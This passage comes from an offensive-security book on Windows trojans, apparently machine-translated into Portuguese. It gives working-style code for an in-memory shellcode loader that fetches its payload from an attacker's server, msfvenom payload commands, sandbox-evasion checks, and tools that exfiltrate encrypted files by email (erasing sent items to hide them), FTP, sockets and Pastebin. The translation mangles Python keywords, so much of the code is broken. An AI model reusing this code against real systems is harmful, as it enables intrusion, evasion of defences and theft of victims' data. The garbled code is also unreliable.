6 mem_dc.BitBlt((0,0), (largura, altura),
img_dc, (esquerda, topo), win32con.SRCCOPY)
7 screenshot.SaveBitmapFile(mem_dc, f'{nome}.bmp')

mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

❽ def run():
captura de tela()
com open('screenshot.bmp')
como f: img = f.read()
retornar img

se nome == ' principal ':


captura de tela()

Vamos rever o que este pequeno roteiro faz. Adquirimos uma alça
para toda a área de trabalho 2, que inclui toda a área visualizável em
vários monitores. Determinamos então o tamanho da tela (ou telas) 1
para que saibamos as dimensões necessárias para a captura da tela.
Criamos um dispositivo
usando a função GetWindowDC 3 e passar em uma alça para a área de
trabalho. (Saiba mais sobre os contextos de dispositivos e programação
GDI no
Microsoft Developer Network [MSDN] em msdn.microsoft.com.) Em seguida,
criar um dispositivo baseado em memória contexto 4, onde
armazenaremos nossa captura de imagem até escrevermos os bytes de
bitmap em um arquivo. Em seguida, criamos um objeto bitmap 5 que é
definido para o contexto do dispositivo de nossa área de trabalho. A
chamada SelectObject então define o
contexto de dispositivo baseado em memória para apontar para o objeto
bitmap que estamos turing cap- turing. Usamos a função BitBlt 6 para pegar
uma cópia bit a bit da imagem da área de trabalho e armazená-la no contexto
baseado na memória. Pense nisto como uma chamada de memória para
objetos GDI. O passo final é despejar esta imagem no disco 7.
Este script é fácil de testar: basta executá-lo a partir da linha de comando e
verificar
o diretório para seu arquivo screenshot.bmp. Você também pode incluir
este script em seu repo de comando e controle GitHub, já que a função run
❽ chama a função de captura de tela para criar a imagem e depois lê e
retorna o
dados do arquivo.
Vamos passar à execução do código shell.

Execução de código Pythonic Shellcode


Pode chegar um momento em que você queira ser capaz de interagir com
uma de suas máquinas alvo, ou usar um novo e suculento módulo de
136 Capítulo 8
exploração de seu favor - teste de penetração ite ou estrutura de
exploração. Isto normalmente, embora nem sempre, requer alguma forma
de execução de código de shell. Para executar o código bruto do shell sem
tocar no sistema de arquivos, precisamos criar um buffer na memória para
segurar o código do shell e, usando o módulo ctypes, criar um ponteiro
func- tion para essa memória. Em seguida, apenas chamamos a função.

Tarefas comuns de Trojaning no Windows 137


Em nosso caso, usaremos o urllib para pegar o código da shell de um
servidor web no formato base64 e depois executá-lo. Vamos começar! Abra
o shell_exec.py e digite o seguinte código:

da base de pedido de

importação urllib de

importação64
tipos de importação

kernel32 =

ctypes.windll.kernel32 def

get_code(url):
1 com request.urlopen(url) como resposta:
shellcode = base64.decodebytes(response.read())
código de retorno shellcode

2 def
write_memory(b
uf): comprimento
= len(buf)

kernel32.VirtualAlloc.restype = ctypes.c_void_p
3 kernel32.RtlMoveMemory.argtyp
es = ( ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)

4 ptr = kernel32.VirtualAlloc(Nenhum, comprimento,


0x3000, 0x40) kernel32.RtlMoveMemory(ptr, buf,
comprimento)
retorno ptr

def run(shellcode):
5 buffer = ctypes.create_string_buffer(shellcode)

ptr = write_memory(buffer)

6 shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(Nenhum))


7 shell_func()

se nome == ' principal ':


url = "http://192.168.1.203:8100/shellcode.bin"
shellcode = get_code(url)
run(shellcode)

138 Capítulo 8
Quão incrível é isso? Iniciamos nosso bloco principal chamando a
função get_code para recuperar o shellcode codificado base64 de nosso
servidor web 1. Então chamamos a função run para escrever o código da
shell na memória e ex...
fofo.
Na função de execução, alocamos um buffer 5 para segurar o
código de shell depois de decodificá-lo. A seguir, chamamos a função
write_memory para gravar o buffer na memória 2.

Tarefas comuns de Trojaning no Windows 139


Para poder escrever na memória, temos que alocar a memória que
precisamos (VirtualAlloc) e depois mover o buffer contendo o código de shell
para aquela memória alocada (RtlMoveMemory). Para garantir que o código
da shell seja executado quer estejamos usando Python de 32 ou 64 bits,
devemos especificar que o resultado que queremos de volta do VirtualAlloc
é um ponteiro, e que os argumentos que daremos à função RtlMoveMemory
são dois ponteiros e um objeto de tamanho. Fazemos isto
definindo o VirtualAlloc.restype e o RtlMoveMemory.argtypes 3. Sem esta
etapa, a largura do endereço de memória retornado do VirtualAlloc será
não corresponde à largura que a RtlMoveMemory espera.
Na chamada ao VirtualAlloc 4, o parâmetro 0x40 especifica que o mem-
ory deve ter permissões definidas para executar e ler/escrever o acesso; caso
contrário, não seremos capazes de escrever e executar o código shell. Então
movemos o buf...
fer na memória alocada e retornar o ponteiro para o buffer. De volta à
função run, a função ctypes.cast nos permite lançar o buffer para agir como
um ponteiro de função 6, para que possamos chamar nosso código de
shell como chamaríamos
qualquer função Python normal. Terminamos chamando o ponteiro da
função, o que faz com que o código de shell execute 7.

Chutando os Pneus
Você pode codificar manualmente algum código de concha ou usar sua
estrutura de pentestesting favorita como CANVAS ou Metasploit para gerá-
lo para você. Como CANVAS é uma ferramenta com- mercial, dê uma olhada
neste tutorial para gerar cargas úteis Metasploit: http://www.offensive-
security.com/metasploit-unleashed/Generating_Payloads/. Escolhemos alguns
shellcode Windows x86 com o gerador de carga útil Metasploit (msfvenom
em nosso caso). Crie o shellcode cru em /tmp/shellcode.raw em sua máquina
Linux como a seguir:

msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw cmd=calc.exe > shellcode.raw


$ base64 -w 0 -i shellcode.raw > shellcode.bin

$ python -m http.server 8100


Servindo HTTP na porta 0.0.0.0.0 8100 ...

Criamos o código shell com msfvenom e depois base64- codificamo-lo


usando a base de comando padrão Linux64. O próximo pequeno truque usa
o http
.server para tratar o diretório de trabalho atual (em nosso caso, /tmp/)
como sua raiz web. Qualquer solicitação HTTP de arquivos na porta 8100
será atendida automaticamente para você. Agora solte seu script
shell_exec.py em sua caixa do Windows e execute-o. Você deve ver o
seguinte em seu terminal Linux:

140 Capítulo 8
192.168.112.130 - - [12/jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 -
[12/jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1

Isto indica que seu script recuperou o código da shell do servidor web
que você configurou usando o módulo http.server. Se tudo correr bem,
você receberá um shell de volta ao seu framework e terá popped calc.exe,
obtido um shell TCP reverso, exibido uma caixa de mensagem, ou para o
que quer que seu código shell tenha sido compilado.

Tarefas comuns de Trojaning no Windows 141


Detecção de caixas de areia
Cada vez mais, as soluções antivírus empregam alguma forma de
sandboxing para determinar o comportamento de espécimes suspeitos.
Independentemente de este sandbox funcionar no perímetro da rede,
que está se tornando mais popular, ou na própria máquina alvo,
devemos fazer o nosso melhor para evitar que tombemos a mão para
qualquer defesa no local da rede do alvo.
Podemos usar alguns indicadores para tentar determinar se nosso
trojan está sendo executado dentro de uma caixa de areia. Monitoraremos
nossa máquina-alvo para verificar a entrada recente de usuários. Depois
adicionaremos alguma inteligência básica para procurar teclas, cliques de
mouse e cliques duplos. Uma máquina típica tem muitas interações com o
usuário em um dia em que foi inicializada, enquanto um ambiente sandbox
normalmente não tem nenhuma interação com o usuário, porque
sandboxes são tipicamente usadas como uma técnica de análise
automatizada de malware.
Nosso roteiro também tentará determinar se o operador da caixa de
areia está enviando informações repetidamente (por exemplo, uma
sucessão suspeita e rápida de cliques contínuos do mouse) a fim de tentar
responder aos métodos rudimentares de detecção da caixa de areia.
Finalmente, vamos comparar a última vez que um usuário interagiu com a
máquina com o tempo de funcionamento da máquina, o que deve nos dar
uma boa idéia se estamos ou não dentro de uma caixa de areia.
Podemos então determinar se queremos ou não executar a lata. Vamos
começar a trabalhar em algum código de detecção de caixas de areia. Abra o
sandbox_detect.py e insira o seguinte código:

de ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll import


random
sistema de
importação
importação
tempo de
importação
win32api

classe LASTINPUTINFO(Estrutura):
campos_ = [
('cbSize', c_uint),
('dwTime',
c_ulong)
]

def get_last_input():
structure_lastinputinfo = LASTINPUTINFO()

142 Capítulo 8
1 struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
windll.user32.GetLastInputInfo(byref(struct_lastinputinfo
))
2 run_time = windll.kernel32.GetTickCount()
decorrido = run_time -
structure_lastinputinfo.dwTime
print(f"[*] Tem sido {elapsed} milissegundos desde o último evento")
retorno decorrido

3 enquanto Verdadeiro:
get_last_input()
tempo.de sono(1)

Definimos as importações necessárias e criamos uma estrutura de


LASTINPUTINFO que manterá o carimbo do tempo, em milissegundos, de
quando o último evento de entrada foi

Tarefas comuns de Trojaning no Windows 143


detectados no sistema. A seguir, criamos uma função, get_last_input, para
deter_ mine a última vez de entrada. Observe que é necessário inicializar a
variável cbSize 1 para o tamanho da estrutura antes de fazer a chamada.
Em seguida, chamamos a função
Função GetLastInputInfo, que preenche o campo
structure_lastinputinfo.dwTime com o carimbo da hora. O próximo passo é
determinar há quanto tempo o sistema está funcionando usando a função
GetTickCount 2. O tempo transcorrido
é a quantidade de tempo de funcionamento da máquina menos o tempo da
última entrada. O último pequeno trecho do código 3 é um simples código
de teste que permite executar o script e depois mover o mouse, ou
pressionar uma tecla no teclado, e ver
esta nova peça de código em ação.
Vale notar que o tempo total de funcionamento do sistema e o último
evento de entrada detectado pelo usuário pode variar dependendo de seu
método particular de implanta- ção. Por exemplo, se você implantou sua
carga útil usando uma tática de phishing, é provável que um usuário tenha
que clicar em um link ou realizar alguma outra operação para ser infectado.
Isto significa que, no último minuto ou dois, você verá a entrada do usuário.
Mas se você vir que a máquina está funcionando há 10 minutos e a última
entrada detectada foi há 10 minutos, é provável que você esteja dentro de
uma caixa de areia que não tenha processado nenhuma entrada do usuário.
Estas chamadas de julgamento são todas parte de ter um bom trojan que
funciona consistentemente.
Você pode usar esta mesma técnica ao pesquisar o sistema para ver se
um usuário está ou não ocioso, pois você pode querer começar a tirar
screenshots somente quando ele estiver usando ativamente a máquina. Da
mesma forma, você pode querer transmitir dados ou realizar outras tarefas
somente quando o usuário parecer estar offline. Você também pode, por
exemplo, rastrear um usuário ao longo do tempo para determinar que dias e
horas ele normalmente está online.
Tendo isto em mente, vamos definir três limites para quantos destes
valores de entrada de usuário teremos que detectar antes de decidir que
não estamos mais em uma caixa de areia. Elimine as três últimas linhas de
código de teste e adicione algum código adicional para ver as teclas e os
cliques do mouse. Desta vez, usaremos uma solução de puro ctypes, ao
contrário do método PyWinHook. Você pode usar facilmente o PyWinHook
também para este propósito, mas ter alguns truques diferentes em sua
caixa de ferramentas sempre ajuda, pois cada tecnologia antivírus e
sandboxing tem sua própria maneira de detectar estes truques. Vamos
começar a codificar:

Detector de classe:
def init (self): self.double_clicks =
0
toques de tecla = 0
self.mouse_clicks = 0

144 Capítulo 8
def get_key_press(self):
1 para i na faixa (0, 0xff):
2 state =
win32api.GetAsyncKeyState(i) if
state & 0x0001:
3 se i === 0x1:
self.mouse_clicks += 1
tempo.tempo.de retorno()
4 elif i > 32 e i < 127:
toques de tecla += 1
retornar Nenhum

Tarefas comuns de Trojaning no Windows 145


Criamos uma classe de Detector e inicializamos os cliques e toques nas
teclas a zero.
O método get_key_press nos diz o número de cliques do mouse, o tempo
dos cliques do mouse e quantos toques de tecla o alvo emitiu. Isto funciona
iterando ao longo do intervalo de teclas de entrada válidas 1; para cada
tecla, verificamos
se foi pressionado usando a chamada de função GetAsyncKeyState 2. Se a função
O estado da tecla mostra que ela está pressionada (estado & 0x0001 é
verdade), verificamos se seu valor é 0x1 3, que é o código da tecla virtual
para um clique de botão esquerdo do mouse. Aumentamos o número total
de cliques do mouse e retornamos o carimbo de tempo atual para
que podemos realizar os cálculos de tempo mais tarde. Também verificamos se há
pressionamentos de teclas ASCII no teclado 4 e, em caso positivo,
simplesmente incrementamos o número total de pressionamentos de teclas
detectados.
Agora vamos combinar os resultados destas funções em nosso laço
primário de detecção de caixas de areia. Adicione o seguinte método ao
sandbox_detect.py:

def detect(self):
previous_timestamp = None
first_double_click = None
double_click_threshold =
0.35

1 max_double_clicks = 10
max_keystrokes = random.randint(10,25)
max_mouse_clicks = random.randint(5,25)
max_input_threshold = 30000

2 last_input = get_last_input()
if last_input >= max_input_threshold:
sys.exit(0)

detection_complete = Falso
enquanto não
detectado_completo:
3 keypress_time = self.get_key_press()
se o keypress_time não for Nenhum e o timestamp_prévio não for
Nenhum:
4 decorrido = keypress_time - tempo_principal_principal

5 se decorrido <=
double_click_threshold:
self.mouse_clicks -= 2
self.double_clicks += 1
se first_double_click for None:
first_double_click = time.time()
146 Capítulo 8
senão:
6 if self.double_clicks >= max_double_clicks:
7 if (keypress_time - first_double_click <=
(max_double_clicks*double_click_threshol
d)): sys.exit(0)
❽ if (self.keystrokes >= max_keystrokes e
self.double_clicks >= max_double_clicks e
self.mouse_clicks >= max_mouse_clicks):
detection_complete = True

previous_timestamp =
keypress_time elif keypress_time não é
None:
previous_timestamp = keypress_time

Tarefas comuns de Trojaning no Windows 147


se nome == ' principal ': d
= Detector()
d.detect() print('ok.')

Muito bem. Esteja atento ao recuo nestes blocos de código!


Começamos definindo algumas variáveis 1 para rastrear o tempo de
cliques do mouse e três limites em relação a quantos toques de tecla, cliques
de mouse ou cliques duplos
que estamos felizes antes de nos considerarmos a correr para fora de uma
caixa de areia. Nós aleatorizamos esses limites com cada corrida, mas é claro
que você pode definir limites próprios com base em seus próprios testes.
Recuperamos então o tempo decorrido 2 desde que alguma forma de
entrada do usuário foi registrada no sistema, e se sentirmos que já passou
muito tempo desde
vimos a entrada (com base em como a infecção ocorreu, como mencionado
antes de vi), nós nos salvamos e o troiano morre. Em vez de morrer aqui, seu
trojan poderia realizar alguma atividade inócua, como a leitura de chaves de
registro aleatórias ou a verificação de arquivos. Depois de passarmos esta
verificação inicial, passamos para o nosso ciclo primário de chaveamento e
de detecção por clique do mouse.
Primeiro verificamos se o pressionamento de teclas ou cliques do
mouse 3, sabendo que se a função retorna um valor, é o carimbo da hora
em que o pressionamento de teclas ou clique do mouse ocorreu. Em seguida,
calculamos o tempo decorrido entre os cliques do mouse 4 e depois o
comparamos com nosso limite 5 para determinar se foi um duplo
clique. Junto com a detecção de duplo clique, estamos procurando ver
se o
O operador da caixa de areia tem feito streaming dos eventos de clique 6
para dentro da caixa de areia para tentar falsificar técnicas de detecção
de caixas de areia. Por exemplo, seria bastante estranho ver 100 cliques
duplos seguidos durante o uso típico do computador.
Se o número máximo de cliques duplos tiver sido atingido e eles
acontecerem em uma rápida sucessão 7, nós nos salvamos. Nosso último
passo é ver se conseguimos passar por todas as verificações e alcançamos
nosso número máximo de cliques, toques de tecla e cliques duplos ❽; se
assim for, saímos de nossa função de detecção de caixas de areia.
Encorajamos você a ajustar e brincar com as configurações, bem como a
acrescentar recursos adicionais, tais como a detecção de máquinas virtuais.
Talvez valha a pena rastrear o uso típico em termos de cliques do mouse,
cliques duplos e toques no teclado em alguns computadores que você possui
(queremos dizer aqueles que você realmente possui - não aqueles que você
invadiu!) para ver onde você sente o ponto feliz. Dependendo de seu alvo,
você pode querer configurações mais paranóicas, ou pode não estar
preocupado com a detecção de caixas de areia.
As ferramentas que você desenvolveu neste capítulo podem atuar como
uma camada base de recursos para implantar em seu trojan e, devido à
modularidade de nossa estrutura de trojaning, você pode optar por implantar
qualquer uma delas.

148 Capítulo 8
9
F U N W I T O X F ILT R AT ION

Ganhar acesso a uma rede alvo é apenas


uma parte da batalha. Para fazer uso de seu
acesso, você quer ser capaz de ex-filtrar
documentos, planilhas eletrônicas ou outros dados
do sistema alvo. Dependendo dos mecanismos de defesa
em vigor, esta última parte de seu ataque pode revelar-
se complicada. Pode haver sistemas locais ou remotos
(ou uma combinação de ambos) que funcionam com
processos de data vali que abrem conexões remotas,
bem como determinar se esses processos devem ser
capazes de enviar informações ou iniciar conexões fora
da rede interna.
Neste capítulo, criaremos ferramentas que permitirão que você exfiltre
dados criptografados. Primeiro, escreveremos um roteiro para criptografar e
decodificar os arquivos. Em seguida, usaremos esse script para criptografar
informações e transferi-las do sistema usando três métodos: e-mail,
transferência de arquivos e posts para um servidor web. Para cada um
destes métodos, escreveremos tanto uma ferramenta independente de
plataforma quanto uma ferramenta somente para Windows.
Para as funções somente para Windows, contaremos com as bibliotecas
PyWin32 que usamos no Capítulo 8, especialmente o pacote win32com.
A automação do Windows COM (Component Object Model) atende a
uma série de usos práticos - desde interagir com serviços baseados em
rede até incorporar uma planilha do Microsoft Excel em sua própria
aplicação. Todas as versões do Windows, começando com XP,
permitem a incorporação de um objeto COM do Internet Explorer em
aplicações, e aproveitaremos esta capacidade neste capítulo.

Criptografia e decriptação de arquivos


Usaremos o pacote pycryptodomex para as tarefas de criptografia. Você
pode instalá-lo com este comando:

$ pip instalar pycryptodomex

Agora, abra o cryptor.py e vamos importar as bibliotecas que precisamos


para começar:

1 da Cryptodome.Cipher import AES, PKCS1_OAEP


2 de Cryptodome.PublicKey importação RSA
de Cryptodome.Random import get_random_bytes
de io importação BytesIO

base de
importação64
zlib importação

Vamos criar um processo de criptografia híbrido, usando criptografia


simétrica e assimétrica para obter o melhor dos dois mundos. A cifra AES é
um exemplo de criptografia simétrica 1: é chamada de simétrica porque usa
uma única
chave tanto para a criptografia como para a decriptação. É muito rápida, e pode
lidar com
grandes quantidades de texto. Esse é o método de criptografia que usaremos
para criptografar as informações que queremos exfiltrar.
Também importamos a cifra assimétrica RSA 2, que utiliza uma técnica
de chave pública/chave privada. Ela depende de uma chave para a
criptografia (normalmente a
chave pública) e a outra para decifração (normalmente a chave privada).
Usaremos esta cifra para criptografar a chave única usada na criptografia
140 Capítulo
140
AES. A criptografia assimétrica é bem adequada para pequenos pedaços de
informação, tornando-a perfeita para criptografar a chave AES.
Este método de utilização dos dois tipos de criptografia é chamado de
sistema híbrido, e é muito comum. Por exemplo, a comunicação TLS entre
seu navegador e um servidor web envolve um sistema híbrido.

Diversão com a filtragem 141


Antes de podermos começar a criptografar ou decodificar, precisaremos
criar chaves pub-lic e privadas para a criptografia assimétrica RSA. Ou seja,
precisamos criar uma função de geração de chaves RSA. Vamos começar
adicionando uma função de geração de func- ção ao cryptor.py:

def gera():
new_key = RSA.generate(2048)
private_key =
new_key.exportKey()
public_key = new_key.publickey().exportKey()

com open('key.pri', 'wb') como f:


f.write(private_key)

com open('key.pub', 'wb') como f:


f.write(public_key)

É isso mesmo, Python é tão mau que podemos fazer isso em um


punhado de linhas de código. Este bloco de código produz tanto um par de
chaves públicas quanto privadas nos arquivos chamados key.pri e key.pub.
Agora vamos criar um pequeno par de chaves de ajuda para que possamos
pegar tanto a chave pública quanto a privada:

def get_rsa_cipher(keytype):
com open(f'key.{keytype}') como
f: key = f.read()
rsakey = RSA.importKey(chave)
return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())

Passamos esta função o tipo de chave (pub ou pri), lemos o arquivo


correspondente e retornamos o objeto cifrado e o tamanho da chave RSA
em bytes.
Agora que geramos duas chaves e temos uma função para retornar uma
cifra RSA a partir das chaves geradas, vamos prosseguir com a criptografia
dos dados:
desafiar encriptar(plaintext):
1 compressed_text = zlib.compress(plaintext)

2 session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
3 ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)

cipher_rsa, _ = get_rsa_cipher('pub')
4 encriptted_session_key = cipher_rsa.encrypt(session_key)

5 msg_payload = chave_session_criptada + cipher_aes.nonce + tag +


ciphertext

142 Capítulo
142
6 encriptado =
base64.encodebytes(msg_payload)
retorno(encriptado)

Passamos no texto em forma de bytes e o comprimimos 1. Em


seguida, geramos uma chave de sessão aleatória para ser usada na cifra
AES 2 e criptografamos o com...
texto em plaina prensado usando essa cifra 3. Agora que as informações estão
criptografadas,
precisamos passar a chave de sessão como parte da carga útil devolvida,
juntamente com
o próprio texto criptográfico, para que possa ser decifrado do outro lado. Para
acrescentar o

Diversão com a filtragem 143


chave de sessão, nós a criptografamos com a chave RSA gerada a partir da
chave pública 4 gerada. Colocamos todas as informações necessárias para
decifrar em um único pagamento - carga 5, base64 - codificamos, e
retornamos a seqüência encriptada 6 resultante.
Agora vamos preencher a função de decodificação:
def decifrado(encriptado):
1 bytes_criptados =
BytesIO(base64.decodebytes(encriptados))
cipher_rsa, keyize_in_bytes = get_rsa_cipher('pri')

2 encrypted_session_key =
encrypted_bytes.read(keysize_in_bytes) nonce =
encrypted_bytes.read(16)
tag = encriptted_bytes.read(16)
ciphertext =
encrypted_bytes.read()

3 session_key =
cipher_rsa.decrypt(encriptted_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX,
nonce)
4 decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)

5 plaintext =
zlib.decompress(decifrado) retorno
plaintext

Para decifrar, revertemos os passos da função de encriptação.


Primeiro, nós decodificamos a seqüência em bytes 1. Em seguida, lemos a
chave ses- sion criptografada, juntamente com os outros parâmetros que
precisamos descriptografar, a partir da seqüência de bytes criptografada
2. Descriptografamos a chave de sessão usando a RSA privada
chave 3 e usar essa chave para decodificar a mensagem em si com a cifra
AES 4. Finalmente, descomprimimos a mensagem em um byte de byte 5
em texto plano e retornamos.
A seguir, este bloco principal facilita o teste das funções:
se nome == ' principal ':
1 gerar()

Em uma etapa, geramos as chaves públicas e privadas 1. Estamos


simplesmente chamando a função gerar, uma vez que temos que gerar as
chaves antes de podermos usá-las. Agora podemos editar o bloco principal
para usar as chaves:

se nome == ' principal ':

144 Capítulo
144
plaintext = b'hey there you'.
1 print(decrypt(encrypt(encriptar(plaintext)))

Depois que as chaves são geradas, encriptamos e descriptografamos um


pequeno byte de corda e depois imprimimos o resultado 1.

Exfiltração de e-mail
Agora que podemos facilmente criptografar e decodificar informações,
escrevemos ods de meth- ods para ex-filtrar as informações que
criptografamos. Abra o e-mail_exfil.py, que usaremos para enviar as
informações criptografadas via e-mail:

1 tempo de
importação
de smtplib de
importação

Diversão com a filtragem 145


2 importação win32com.cliente

3 smtp_server =
'smtp.example.com'
smtp_port = 587
smtp_acct =
'tim@example.com'
smtp_password = 'seKret'
tgt_accts =
['tim@elsewhere.com']

Nós importamos o smptlib, que precisamos para o func- tion 1 do


email de plataforma cruzada. Vamos usar o pacote win32com para escrever
nossa função específica para Windows 2. Para usar o cliente de e-mail
SMTP, precisamos nos conectar a um servidor Simple Mail Transfer Protocol
(SMTP) (um exemplo pode ser smtp.gmail.com
se você tiver uma conta Gmail), então especificamos o nome do servidor, a
porta na qual ele aceita conexões, o nome da conta e a senha da conta -
palavra 3. A seguir, vamos escrever nossa função independente da
plataforma, plain_email:
def plain_email(subject, content):
1 mensagem = f'Subject: {subject}{smtp_acct}\n'
message += f'To: {tgt_accts}n{contents.decode()}'
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
2 server.login(smtp_acct, smtp_password)

#server.set_debuglevel(1)
3 server.sendmail(smtp_acct, tgt_accts,
message) time.sleep(1)
server.quit()

A função toma o assunto e o conteúdo como entrada e depois forma


um mes- sage 1 que incorpora os dados do servidor SMTP e o conteúdo
das mensagens. O assunto será o nome do arquivo que continha o
conteúdo da vítima...
máquina do tempo. O conteúdo será a string criptografada retornada da
função de criptografia. Para maior sigilo, você poderia enviar uma string
criptografada como o assunto da mensagem.
Em seguida, nos conectamos ao servidor e fazemos o login com o
nome da conta e a senha 2. Em seguida, invocamos o método sendmail
com nossas informações de conta, bem como as contas de destino para
enviar o correio, e, finalmente, a própria mensagem 3. Se você tiver algum
problema com a função, você pode definir o atributo de nível de

146 Capítulo
146
depuração para que possa ver a conexão em seu console.
Agora vamos escrever uma função específica para Windows para
realizar a mesma técnica:

1 def outlook(assunto, conteúdo):


2 outlook =
win32com.client.Dispatch("Outlook.Application")
mensagem = outlook.CreateItem(0)
3 mensagem.DeleteApósSubmet
er = Mensagem
verdadeira.Assunto =
assunto.Corpo =
conteúdo.descodificar()
mensagem.To = tgt_accts[0]
4 mensagem.Enviar()

Diversão com a filtragem 147


A função de perspectiva leva os mesmos argumentos que a função de
plain_email: assunto e conteúdo 1. Usamos o pacote win32com para criar
uma instância do aplicativo Outlook 2, assegurando que o e-mail mes-
sage seja excluído imediatamente após o envio do 3. Isto assegura que o
usuário na máquina comprometida não verá o e-mail de exfiltração no
pacote Sent
Pastas de mensagens e mensagens eliminadas. Em seguida, povoamos o
assunto da mensagem, corpo e endereço de e-mail de destino, e enviamos o
e-mail 4.
No bloco principal, chamamos a função plain_email para completar um
curto
teste da funcionalidade:

se nome == ' principal ':


plain_email('test2 message', 'attack at dawn.')

Depois de utilizar estas funções para enviar um arquivo criptografado


para sua máquina atacante, você abrirá seu cliente de e-mail, selecionará a
mensagem e a copiará e colará em um novo arquivo. Você poderá então ler
desse arquivo para descriptografá-lo usando a função de descriptografia
em cryptor.py.

Transferência de arquivos Exfiltração


Abra um novo arquivo, transmit_exfil.py, que usaremos para enviar nossas
informações criptografadas via transferência de arquivos:

importação
ftplib
importação os
soquetes de
importação
arquivo win32 de importação

1 def plain_ftp(docpath,
server='192.168.1.203'): ftp =
ftplib.FTP(server)
2 ftp.login("anônimo", "anon@example.com")
3 ftp.cwd('/pub/')
4 ftp.storbinary("STOR " + os.path.basename(docpath),
aberto(docpath, "rb"), 1024)
ftp.quit()

Importamos ftplib, que usaremos para o func- tion independente da


plataforma, e win32file, para nossa função específica do Windows.
Nós, os autores, montamos nossa máquina atacante Kali para habilitar o
servidor FTP e aceitar o upload de arquivos anônimos. Na função plain_ftp,

148 Capítulo
148
nós passamos no caminho para um arquivo que queremos transferir
(docpath) e o endereço IP do
Servidor FTP (a máquina Kali), atribuído à variável 1 do servidor.
O uso do ftplib Python facilita a criação de uma conexão com o servidor, o
log in 2 e a navegação até o diretório de destino 3. Finalmente, nós
escrevemos o arquivo no diretório de destino 4.

Diversão com a filtragem 149


Para criar a versão específica para Windows, escreva a função de
transmissão, que leva o caminho para o arquivo que queremos transferir
(document_path):

def transmit(document_path):
cliente = socket.socket()
1 client.connect(('192.168.1.207', 10000))
com open(document_path, 'rb') como f:
2 win32file.TransmitFile(
cliente,
win32file._get_osfhandle(f.fileno()),
0, 0, None, 0, 0, b'', b'')

Assim como fizemos no Capítulo 2, abrimos uma tomada para um


ouvinte em nossa máquina atacante usando uma porta de nossa escolha;
aqui, usamos a porta 10000 1. Depois usamos a função
win32file.TransmitFile para transferir o arquivo 2.
O bloco principal fornece um teste simples ao transmitir um arquivo
(mysecrets.txt
neste caso) para a máquina de escuta:

se nome == ' principal ':


transmitir('./mysecrets.txt')

Uma vez recebido o arquivo criptografado, podemos ler a partir desse


arquivo para descriptografá-lo.

Exfiltração através de um Servidor Web


A seguir, escreveremos um novo arquivo, paste_exfil.py, para enviar nossas
informações criptografadas, postando em um servidor web.
Automatizaremos o processo de envio do documento criptografado para
uma conta em https://pastebin.com/. Isto nos permitirá lançar o documento
e recuperá-lo quando quisermos, sem que mais ninguém possa
descriptografá-lo. Usando um site bem conhecido como o Pastebin,
devemos também ser capazes de contornar qualquer lista negra que um
firewall ou proxy possa ter, o que poderia nos impedir de apenas enviar o
documento para um endereço IP ou servidor web que controlemos. Vamos
começar colocando algumas funções de suporte em nosso script de
exfiltração. Abra o paste_exfil.py e insira o seguinte código:

1 de win32com import

client import os
importação
aleatória
2 pedidos de

150 Capítulo
150
importação
tempo de
importação

3 username = 'tim'
password =
'seKret
api_dev_key = 'cd3xxx001xxxxxx02'.

Diversão com a filtragem 151


Importamos pedidos para lidar com a função 2 independente da
plataforma, e usaremos a classe de cliente win32com para a função 1
específica do Windows. Iremos autenticar no servidor web
https://pastebin.com/ e carregar o
cadeia criptografada. A fim de autenticar, definimos o nome de usuário e
senha e a api_dev_key 3.
Agora que definimos nossas importações e configurações, vamos escrever o
função independente de plataforma plain_paste:

1 def plain_paste(título, conteúdo):


login_url = 'https://pastebin.com/api/api_login.php'
2 login_data = {
api_dev_key': api_dev_key,
'api_user_name': nome de
usuário, 'api_user_password':
senha,
}
r = requests.post(login_url, data=login_data)
3 api_user_key = r.text

4 paste_url =
'https://pastebin.com/api/api_post.php'
paste_data = {
api_paste_name': título,
'api_paste_code': conteúdo.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'paste',
'api_paste_private': 0,
}
5 r = requests.post(paste_url,
data=paste_data) print(r.status_code)
imprimir(r.text)

Como as funções de e-mail anteriores, a função plain_paste recebe o


nome do arquivo para um título e conteúdo criptografado como
argumentos 1. Você precisa fazer dois pedidos a fim de criar a pasta sob
seu próprio usuário...
nome. Primeiro, faça um post para a API de login, especificando seu nome de
usuário, api_dev
chave, e senha 2. A resposta desse post é sua api_user_key. Esse pedaço
de dado é o que você precisa para criar uma pasta com seu próprio nome de
usuário 3. A segunda solicitação é para o post API 4. Envie o nome de sua
pasta (o nome do arquivo é nosso título) e o conteúdo, juntamente com suas
chaves API de usuário e dev 5. Quando a função estiver concluída, você
deverá ser capaz de entrar em sua conta em https://pastebin.com/ e ver seu
conteúdo criptografado. Você pode
baixe a pasta do seu painel de controle para decodificar.
A seguir, escreveremos a técnica específica do Windows para realizar a
152 Capítulo
152
pasta usando o Internet Explorer. Internet Explorer, você diz? Mesmo que
outros navegadores, como Google Chrome, Microsoft Edge e Mozilla
Firefox sejam mais populares atualmente, muitos ambientes corporativos
ainda usam o Internet Explorer como seu navegador padrão. E, é claro,
para muitas versões do Windows, você não pode remover o Internet
Explorer de um sistema Windows - portanto, esta técnica deve estar quase
sempre disponível para seu trojan do Windows.
Vejamos como podemos explorar o Internet Explorer para ajudar a ex-
filtrar informações de uma rede alvo. Um colega pesquisador de segurança
canadense,

Diversão com a filtragem 153


Karim Nathoo, apontou que a automação do Internet Explorer COM tem o
maravilhoso benefício de utilizar o processo Iexplore.exe, que é
tipicamente confiável e listado em branco, para exfiltrar informações de
uma rede. Vamos começar escrevendo um par de funções de ajuda:

1 def wait_for_browser(browser):
enquanto browser.ReadyState != 4 e browser.ReadyState != 'completo':
tempo.de sono(0.1)

2 def random_sleep():
